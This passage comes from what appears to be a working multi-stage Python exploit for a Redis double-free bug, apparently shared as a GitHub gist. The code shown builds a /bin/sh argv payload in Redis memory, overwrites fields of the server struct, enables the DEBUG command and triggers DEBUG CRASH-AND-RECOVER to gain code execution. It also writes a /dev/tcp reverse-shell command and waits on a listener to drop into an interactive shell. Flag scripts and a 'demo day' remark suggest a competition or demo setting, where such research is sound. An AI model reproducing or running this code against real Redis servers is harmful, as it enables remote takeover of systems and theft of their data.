| ⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⡈⠳⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⠀⠀⢸⠀ | |
| ⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡈⠙⠶⣄⠀⠀⠀⠀⠀⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡇⠀⠀⢸⠀ | |
| ⠀⠀⠠⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣆⠀⠈⠳⣤⠀⠀⠀⠀⠙⠶⠤⣀⣀⣀⣀⣠⡤⠶⠞⢹⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠄⠀⠀⡏⠀ | |
| ⠀⠀⢸⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⡄⠀⠈⠓⠦⠤⢤⣀⣀⡤⠤⠤⠛⠛⠁⠀⠀⢠⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⠀⠀⢠⡇⠀ | |
| ⠀⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡗⠀⠀⣸⡆⠀ | |
| ⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⠀⠀⡿⠀⠀ | |
| ⡞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⢠⡬⣷⣀⠀⠀⠀⠀⠀⠀⠀⣰⠟⠀⢀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡾⠆⠀⢸⠃⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣁⡽⠀⠳⣤⣈⠙⠒⠲⠤⠤⠴⢞⣿⣭⠭⠿⠟⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⡾⠀⠀⠀ | |
| ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⢀⡾⠉⠙⠒⡆⢀⣤⣷⡏⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠇⠀⠀⡇⠀⠀⠀ | |
| """ | |
| gzipped_banner = gzip.compress(banner.encode('utf-8')) | |
| base64_banner = base64.b64encode(gzipped_banner).decode('utf-8') | |
| additional_cmd = f"echo {base64_banner}|base64 -d|gunzip|tee /tmp/win.txt" | |
| return additional_cmd | |
| def _stage6_create_payload_in_memview(args: argparse.Namespace, ctx: ExploitContext): | |
| """Create malicious argv array in memview with self-referential pointers.""" | |
| key_memview = ctx.memview_key | |
| memview_base = ctx.memview_base_addr | |
| # Use backconnect address from context (set before stage1) | |
| backconnect_addr = ctx.backconnect_addr | |
| backconnect_port = ctx.backconnect_port | |
| if backconnect_addr is not None: | |
| backconnect_cmd = f"exec 3<>/dev/tcp/{backconnect_addr}/{backconnect_port};bash -i <&3 >&3 2>&3" | |
| backconnect_cmd = f"bash -c '{backconnect_cmd}'" | |
| log_info("PAYLOAD", f"Using backconnect to {backconnect_addr}:{backconnect_port}") | |
| else: | |
| backconnect_cmd = 'echo "pwned"' | |
| log_info("PAYLOAD", "No backconnect configured") | |
| additional_cmd = _stage6_create_additional_payload(args, ctx) | |
| cmd_args = [ | |
| b"/bin/sh\x00", | |
| b"-c\x00", | |
| f"/flag.sh redis;/flag.sh nginx;touch /tmp/pwned;{additional_cmd};{backconnect_cmd};sleep 5\x00".encode('utf-8') | |
| ] | |
| cmd = cmd_args[2].decode('utf-8', errors='replace').rstrip('\x00') | |
| log_start("BUILD", f"Building malicious payload with command: {cmd[:80]} (len={len(cmd)})...") | |
| initial_payload_offset = payload_offset = 0 | |
| addrs = [] | |
| payload = [] | |
| for arg in cmd_args: | |
| addrs.append(memview_base + payload_offset) | |
| payload.append(arg) | |
| payload_offset += len(arg) | |
| addrs.append(0) | |
| # Set argv[0] to NULL so zfree() is no-op; restartServer() replaces with executable | |
| addrs[0] = 0 | |
| argv_array_addr = memview_base + payload_offset | |
| payload.append(struct.pack("<" + "Q" * len(addrs), *addrs)) | |
| payload = b"".join(payload) | |
| ctx.redis.send_command(["SETRANGE", key_memview, str(initial_payload_offset), payload]) | |
| binsh_addr = memview_base + initial_payload_offset | |
| log_milestone("WRITE", f"Payload written to memview - executable={binsh_addr:016x}, argv={argv_array_addr:016x}") | |
| return binsh_addr, argv_array_addr | |
| def stage6_construct_payload(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Build malicious argv array in memview. | |
| Layout: "/bin/sh", "-c", command string, then pointer array. | |
| Self-referential pointers (pointing within memview) work because | |
| stage3 calculated the memview base address. | |
| argv[0] is set to NULL so zfree() in restartServer() is a no-op. | |
| restartServer() will replace it with zstrdup(server.executable). | |
| See STAGE6.md for full technical details. | |
| """ | |
| assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)" | |
| assert ctx.memview_base_addr is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage3 first" | |
| ctx.payload_executable_addr, ctx.payload_argv_addr = _stage6_create_payload_in_memview(args, ctx) | |
| ############################################################################### | |
| # Stage 7: Patch Server Struct | |
| ############################################################################### | |
| def _stage7_find_server_start_time_offset(data: bytes, SDS_DELTA: int) -> int: | |
| """ | |
| Find server.start_time offset by searching for timestamp pattern. | |
| Looks for: | |
| - Unix timestamp (within 30 days of current time) | |
| - Followed by two nonzero values < 2^24 | |
| Returns the offset where the pattern is found. | |
| """ | |
| log_start("SEARCH", "Searching for server start time pattern") | |
| real_unixtime = time.time() | |
| allowed_delta = 60 * 60 * 24 * 30 # 30 days | |
| for server_start_time_offset in range(200, len(data) - 24, 8): | |
| candidate = data[server_start_time_offset - SDS_DELTA:server_start_time_offset+24-SDS_DELTA] | |
| maybe_unixtime = int.from_bytes(candidate[:8], "little", signed=False) | |
| maybe_non_zero_but_less_than_2_24_1 = int.from_bytes(candidate[8:16], "little", signed=False) | |
| maybe_non_zero_but_less_than_2_24_2 = int.from_bytes(candidate[16:24], "little", signed=False) | |
| # Check timestamp is reasonable | |
| if abs(maybe_unixtime - real_unixtime) > allowed_delta: | |
| continue | |
| # Check both values are nonzero and < 2^24 | |
| if maybe_non_zero_but_less_than_2_24_1 == 0 or maybe_non_zero_but_less_than_2_24_1 >= 2 ** 24: | |
| continue | |
| if maybe_non_zero_but_less_than_2_24_2 == 0 or maybe_non_zero_but_less_than_2_24_2 >= 2 ** 24: | |
| continue | |
| log_milestone("FOUND", f"Server start time pattern at offset {server_start_time_offset:016x}") | |
| return server_start_time_offset | |
| raise AssertionError(f"[STAGE {CURRENT_STAGE}] Failed to find in-server-struct pattern") | |
| def _stage7_patch_redis_server(args: argparse.Namespace, ctx: ExploitContext): | |
| """Patch redisServer struct: executable, exec_argv, and enable_debug_cmd.""" | |
| log_start("PATCH", "Patching server struct to enable arbitrary write") | |
| key_memview = ctx.memview_key | |
| float_key = ctx.controlled_key | |
| float_offset = ctx.controlled_ptr_offset | |
| ptr_to_set_for_server_struct_be_accessible = ctx.server_readable_ptr | |
| server_addr = ctx.server_struct_addr | |
| executable_addr = ctx.payload_executable_addr | |
| argv_array_addr = ctx.payload_argv_addr | |
| # Setup pointer to make server struct accessible via float key | |
| ctx.redis.send_command(["SETRANGE", key_memview, str(float_offset), p64(ptr_to_set_for_server_struct_be_accessible)]) | |
| # Zero encoding byte to prevent copy-on-write (CRITICAL - see STAGE7.md) | |
| ctx.redis.send_command(["SETRANGE", key_memview, str(float_offset - 8), b"\x00"]) | |
| len_float = ctx.redis.send_command(["STRLEN", float_key]) | |
| log_debug("SETUP", f"Float key length after pointer setup: {len_float}") | |
| # Forge temporary sdshdr16 header at server struct start (corrupts pid field, but ok) | |
| ctx.redis.send_command(["SETRANGE", float_key, str(server_addr - ptr_to_set_for_server_struct_be_accessible), b"\x7f\x7f\x7f\x7f\x02"]) | |
| # Adjust pointer past the forged SDS header (all offsets must account for this) | |
| SDS_DELTA = 5 # sizeof(sdshdr16) | |
| ctx.redis.send_command(["SETRANGE", key_memview, str(float_offset), p64(server_addr + SDS_DELTA)]) | |
| strlen_float = ctx.redis.send_command(["STRLEN", float_key]) | |
| assert strlen_float == 0x7f7f, f"Unexpected float length: {strlen_float}" | |
| # Write malicious pointers | |
| log_milestone("WRITE", f"Writing malicious executable pointer: {executable_addr:016x}") | |
| ctx.redis.send_command(["SETRANGE", float_key, str(ctx.EXECUTABLE_OFFSET - SDS_DELTA), p64(executable_addr)]) | |
| log_milestone("WRITE", f"Writing malicious argv array pointer: {argv_array_addr:016x}") | |
| ctx.redis.send_command(["SETRANGE", float_key, str(ctx.ARGV_ARRAY_OFFSET - SDS_DELTA), p64(argv_array_addr)]) | |
| if args.enable_debug_cmd_offset is not None: | |
| log_info("ENABLE", f"Using provided enable_debug_cmd offset: {args.enable_debug_cmd_offset}") | |
| enable_debug_cmd_offset = args.enable_debug_cmd_offset | |
| else: | |
| log_info("ENABLE", "Finding enable_debug_cmd offset dynamically") | |
| # Find enable_debug_cmd by locating start_time pattern (dynamic offset detection) | |
| data = ctx.redis.send_command(["GETRANGE", float_key, "0", "4095"]) | |
| server_start_time_offset = _stage7_find_server_start_time_offset(data, SDS_DELTA) | |
| enable_debug_cmd_offset = server_start_time_offset - 0x3c # Fixed offset from start_time | |
| log_milestone("ENABLE", f"Found enable_debug_cmd offset: {enable_debug_cmd_offset}") | |
| log_start("ENABLE", "Enabling DEBUG command access") | |
| ctx.redis.send_command(["SETRANGE", float_key, str(enable_debug_cmd_offset - SDS_DELTA), b"\x01"]) | |
| log_milestone("SUCCESS", "Server struct successfully hijacked") | |
| def stage7_patch_server_struct(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Patch redisServer struct to hijack execution. | |
| Critical steps: | |
| 1. Zero encoding byte (prevents copy-on-write in SETRANGE) | |
| 2. Forge temporary SDS header at struct start (corrupts pid, but ok) | |
| 3. Find enable_debug_cmd by scanning for start_time timestamp | |
| 4. Write: executable → "/bin/sh", exec_argv → argv array, enable_debug_cmd → 1 | |
| All offsets must account for SDS_DELTA (5 bytes for sdshdr16). | |
| See STAGE7.md for full technical details. | |
| """ | |
| assert all([ctx.redis, ctx.controlled_key, ctx.controlled_ptr_offset, | |
| ctx.server_struct_addr, ctx.server_readable_ptr, | |
| ctx.payload_executable_addr, ctx.payload_argv_addr]), f"[STAGE {CURRENT_STAGE}] Must complete previous stages first" | |
| _stage7_patch_redis_server(args, ctx) | |
| ############################################################################### | |
| # Stage 8: Trigger Restart Server | |
| ############################################################################### | |
| def _stage8_trigger_debug_crash_and_recover(ctx: ExploitContext): | |
| """Send DEBUG CRASH-AND-RECOVER command to trigger payload execution.""" | |
| log_start("TRIGGER", "Sending DEBUG CRASH-AND-RECOVER command") | |
| try: | |
| ctx.redis.send_command(["DEBUG", "CRASH-AND-RECOVER"]) | |
| except Exception as err: | |
| log_debug("WARN", f"Expected exception while triggering debug crash and recover: {err}") | |
| log_milestone("EXECUTE", "Exploit execution initiated, waiting for payload...") | |
| def stage8_trigger_exploit(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Trigger RCE via DEBUG CRASH-AND-RECOVER. | |
| Sends DEBUG CRASH-AND-RECOVER which calls restartServer(), which: | |
| 1. Frees exec_argv[0] (our NULL → no-op) | |
| 2. Sets exec_argv[0] = zstrdup(server.executable) → "/bin/sh" | |
| 3. Calls execve(server.executable, server.exec_argv, environ) | |
| Connection drops when Redis is replaced (expected behavior). | |
| See STAGE8.md for full technical details. | |
| """ | |
| assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)" | |
| _stage8_trigger_debug_crash_and_recover(ctx) | |
| ############################################################################### | |
| # Main | |
| ############################################################################### | |
| def setup_backconnect(args: argparse.Namespace, ctx: ExploitContext) -> None: | |
| """ | |
| Set up backconnect after stage0 (Redis connection established). | |
| Handles three cases: | |
| - None: No backconnect (default) | |
| - "auto": Auto-detect local IP from Redis connection | |
| - IP address: Use provided address | |
| Then sets up the listener socket. | |
| """ | |
| backconnect_addr = args.backconnect_addr | |
| backconnect_port = args.backconnect_port | |
| if backconnect_addr is None: | |
| log_info("BACKCONNECT", "No backconnect configured (use --backconnect-addr to enable)") | |
| ctx.backconnect_addr = None | |
| ctx.backconnect_port = None | |
| ctx.backconnect_listener = None | |
| return | |
| if backconnect_addr.lower() == "auto": | |
| # Auto-detect using the existing Redis connection | |
| detected_addr = get_local_addr_from_redis_connection(ctx) | |
| log_milestone("BACKCONNECT", f"Auto-detected backconnect address: {detected_addr}") | |
| backconnect_addr = detected_addr | |
| else: | |
| log_info("BACKCONNECT", f"Using provided backconnect address: {backconnect_addr}") | |
| # Store in context | |
| ctx.backconnect_addr = backconnect_addr | |
| ctx.backconnect_port = backconnect_port | |
| # Set up listener | |
| ctx.backconnect_listener = setup_backconnect_listener(backconnect_addr, backconnect_port) | |
| def save_context_after_stage(ctx: ExploitContext, stage_num: int) -> None: | |
| """Save context to file after completing a stage.""" | |
| timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") | |
| context_dir = "contexts" | |
| context_file = f"{context_dir}/context_stage{stage_num}_{timestamp}.txt" | |
| ctx.save_to_file(context_file) | |
| def main() -> int: | |
| parser = argparse.ArgumentParser(description="Redis zipmap double-free exploit") | |
| parser.add_argument("--host", default=DEFAULT_HOST, help="Redis host (default 127.0.0.1)") | |
| parser.add_argument("--port", default=DEFAULT_PORT, type=int, help="Redis port (default 6379)") | |
| parser.add_argument("--password", default=None, help="Redis password (if authentication required)") | |
| parser.add_argument("--debug", action="store_true", help="Verbose request/response logging") | |
| parser.add_argument("--backconnect-addr", default=None, | |
| help="Backconnect address: IP address, 'auto' to auto-detect, or None for no backconnect") | |
| parser.add_argument("--backconnect-port", type=int, default=12345, | |
| help="Backconnect port (default: 12345, used with --backconnect-addr)") | |
| parser.add_argument("--random-heap-massage", action="store_true", | |
| help="Insert 100k random keys before exploit to test heap stability") | |
| parser.add_argument("--use-context", type=str, default=None, metavar="FILE", | |
| help="Load context from file to resume from a previous stage") | |
| parser.add_argument("--start-from-stage", type=int, default=0, metavar="NUM", | |
| help="Stage number to start from (requires --use-context)") | |
| parser.add_argument("--no-stage4-lua-helper", action="store_true", | |
| help="Disable Lua-based optimization for stage4 scanning") | |
| parser.add_argument("--no-stage5-lua-helper", action="store_true", | |
| help="Disable Lua-based optimization for stage5 server struct scanning") | |
| parser.add_argument("--no-plain-string-stage2", action="store_false", default=True, dest="plain_string_stage2", | |
| help="Use plain string RESTORE to create memview in stage2") | |
| parser.add_argument("--binary-addr-skip", type=int, default=0, metavar="NUM", | |
| help="Skip first N binary addresses") | |
| parser.add_argument("--flush-and-crash", action="store_true", | |
| help="Just connect, FLUSHALL, SAVE, then send crash payload that triggers sds.c assertion. Useful if something goes wrong on the demo day") | |
| parser.add_argument("--vuln-type", type=str, default="zipmap", choices=["zipmap", "stream"], | |
| help="Type of vulnerability to exploit") | |
| parser.add_argument("--enable-debug-cmd-offset", type=int, default=None, metavar="NUM", | |
| help="enable_debug_cmd offset inside redisServer struct (default: None, will be detected dynamically)") | |
| args = parser.parse_args() | |
| global ARGS_DEBUG, CURRENT_STAGE | |
| ARGS_DEBUG = args.debug | |
| # Setup logging | |
| setup_logging(debug=args.debug) | |
| # Validate arguments | |
| if args.start_from_stage > 0 and not args.use_context: | |
| print("[ERROR] --start-from-stage requires --use-context", file=sys.stderr) | |
| return 1 | |
| # Load or create context | |
| if args.use_context: | |
| ctx = ExploitContext.load_from_file(args.use_context) | |
| # Reconnect to Redis even when loading context | |
| ctx.redis = RedisClient(args.host, args.port) | |
| log_info("RESUME", f"Resuming from stage {args.start_from_stage}") | |
| else: | |
| ctx = ExploitContext() | |
| # Define stages | |
| stages = [ | |
| (0, stage0_connect_to_redis, "Connect to Redis"), | |
| (1, stage1_trigger_double_free, "Trigger double-free"), | |
| (2, stage2_create_memory_overlap, "Create memory overlap"), | |
| (3, stage3_find_controllable_object, "Find arbitrary R/W primitive"), | |
| (4, stage4_find_binary_address, "Locate binary address"), | |
| (5, stage5_locate_server_struct, "Locate server struct"), | |
| (6, stage6_construct_payload, "Construct payload"), | |
| (7, stage7_patch_server_struct, "Patch server struct"), | |
| (8, stage8_trigger_exploit, "Trigger exploit"), | |
| ] | |
| # If flush-and-crash mode, replace all stages after stage0 with crash stage | |
| if args.flush_and_crash: | |
| stages = [ | |
| (0, stage0_connect_to_redis, "Connect to Redis"), | |
| (1, stage_flush_and_crash, "Send crash payload"), | |
| ] | |
| try: | |
| for stage_num, stage_func, stage_desc in stages: | |
| # Skip stages if resuming from a later stage | |
| if stage_num < args.start_from_stage: | |
| log_info("SKIP", f"Skipping Stage {stage_num}: {stage_desc}") | |
| continue | |
| CURRENT_STAGE = stage_num | |
| log_stage(f"Starting Stage {stage_num}: {stage_desc}", level="WARNING") | |
| if ctx.redis is not None: | |
| commands_sent_before = ctx.redis.command_count | |
| else: | |
| commands_sent_before = 0 | |
| stage_func(args, ctx) | |
| log_stage(f"Completed Stage {stage_num}: {stage_desc} (sent {ctx.redis.command_count - commands_sent_before} commands)") | |
| # Save context after each stage (except stage 0 which doesn't have useful state yet) | |
| if stage_num > 0: | |
| save_context_after_stage(ctx, stage_num) | |
| # Log final command count | |
| if ctx.redis: | |
| log_milestone("STATS", f"Total Redis commands sent: {ctx.redis.command_count}") | |
| # Handle backconnect if configured | |
| if ctx.backconnect_listener is not None: | |
| log_start("BACKCONNECT", "Exploit completed, waiting for shell connection...") | |
| conn = accept_backconnect(ctx.backconnect_listener, timeout=10) | |
| if conn is not None: | |
| log_milestone("SHELL", "Switching to interactive mode...") | |
| conn.interactive() | |
| else: | |
| log_error("No backconnect received within timeout") | |
| return 1 | |
| return 0 | |
| except Exception as e: | |
| log_error(f"Exploit failed: {e}") | |
| print("\nContext state at failure:", file=sys.stderr) | |
| print(ctx.pretty_print(), file=sys.stderr) | |
| raise | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment